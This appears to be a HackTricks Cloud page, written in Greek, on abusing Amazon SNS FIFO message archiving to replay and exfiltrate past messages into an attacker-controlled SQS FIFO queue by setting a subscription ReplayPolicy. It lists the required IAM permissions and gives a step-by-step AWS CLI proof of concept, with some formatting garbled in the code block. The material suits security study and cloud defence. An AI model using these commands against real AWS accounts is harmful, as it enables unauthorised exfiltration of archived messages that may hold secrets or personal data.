SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κατάχρηση της αρχειοθέτησης μηνυμάτων ενός Amazon SNS FIFO topic για να replay και exfiltrate προηγουμένως δημοσιευμένα μηνύματα σε έναν SQS FIFO queue ελεγχόμενο από attacker, ρυθμίζοντας την subscription ReplayPolicy.

  • Υπηρεσία: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Απαιτήσεις: Το topic πρέπει να έχει ενεργοποιημένο το ArchivePolicy (αρχειοθέτηση μηνυμάτων). Ο attacker μπορεί να Subscribe στο topic και να ορίσει attributes στη subscription του. Ο attacker ελέγχει έναν SQS FIFO queue και επιτρέπει στο topic να στέλνει μηνύματα.
  • Επίπτωση: Ιστορικά μηνύματα (δημοσιευμένα πριν τη δημιουργία της subscription) μπορούν να παραδοθούν στο attacker endpoint. Οι επαναπροβληθείσες παραδόσεις επισημαίνονται με Replayed=true στο SNS envelope.

Προαπαιτούμενα

  • SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση: ArchivePolicy (π.χ., { "MessageRetentionPeriod": "2" } για 2 ημέρες).
  • Ο attacker έχει δικαιώματα για:
    • sns:Subscribe στο target topic.
    • sns:SetSubscriptionAttributes στη δημιουργημένη subscription.
  • Ο attacker έχει έναν SQS FIFO queue και μπορεί να επισυνάψει ένα queue policy που επιτρέπει sns:SendMessage από το topic ARN.

Ελάχιστα IAM δικαιώματα

  • Στο topic: sns:Subscribe.
  • Στη subscription: sns:SetSubscriptionAttributes.
  • Στον queue: sqs:SetQueueAttributes για το policy, και queue policy που επιτρέπει sns:SendMessage από το topic ARN.

Attack: Replay archived messages to attacker SQS FIFO

Ο attacker κάνει subscribe τον SQS FIFO queue του στο victim SNS FIFO topic, και στη συνέχεια ορίζει το ReplayPolicy σε ένα timestamp στο παρελθόν (εντός του window διατήρησης του archive). Το SNS αμέσως replay-άρει τα ταιριαστά αρχειοθετημένα μηνύματα στη νέα subscription και τα σηματοδοτεί με Replayed=true.

Σημειώσεις:

  • Το timestamp που χρησιμοποιείται στο ReplayPolicy πρέπει να είναι >= του BeginningArchiveTime του topic. Αν είναι νωρίτερα, το API επιστρέφει Invalid StartingPoint value.
  • Για SNS FIFO Publish, πρέπει να καθορίσετε MessageGroupId (και είτε dedup ID είτε να ενεργοποιήσετε το ContentBasedDeduplication).
End-to-end CLI POC (us-east-1) ```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )

1) Create SNS FIFO topic with archiving (2-day retention)

TOPIC_NAME=htreplay$(date +%s).fifo TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)

echo “Topic: $TOPIC_ARN”

2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)

for i in $(seq 1 3); do aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null done

3) Create attacker SQS FIFO queue and allow only this topic to send

Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text) Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON

Use CLI input JSON to avoid quoting issues

aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”

4) Subscribe the queue to the topic

SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)

echo “Subscription: $SUB_ARN”

5) Ensure StartingPoint is >= BeginningArchiveTime

BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi

aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”

6) Receive replayed messages (note Replayed=true in the SNS envelope)

aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All

</details>

## Επιπτώσεις
**Πιθανή Επίπτωση**: Ένας επιτιθέμενος που μπορεί να εγγραφεί σε ένα SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση και να ορίσει `ReplayPolicy` στη συνδρομή του, μπορεί αμέσως να επαναλάβει (replay) και να exfiltrate ιστορικά μηνύματα που έχουν δημοσιευτεί σε αυτό το topic, όχι μόνο μηνύματα που στάλθηκαν μετά τη δημιουργία της συνδρομής. Τα παραδοθέντα μηνύματα περιλαμβάνουν την ένδειξη `Replayed=true` στο SNS envelope.

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>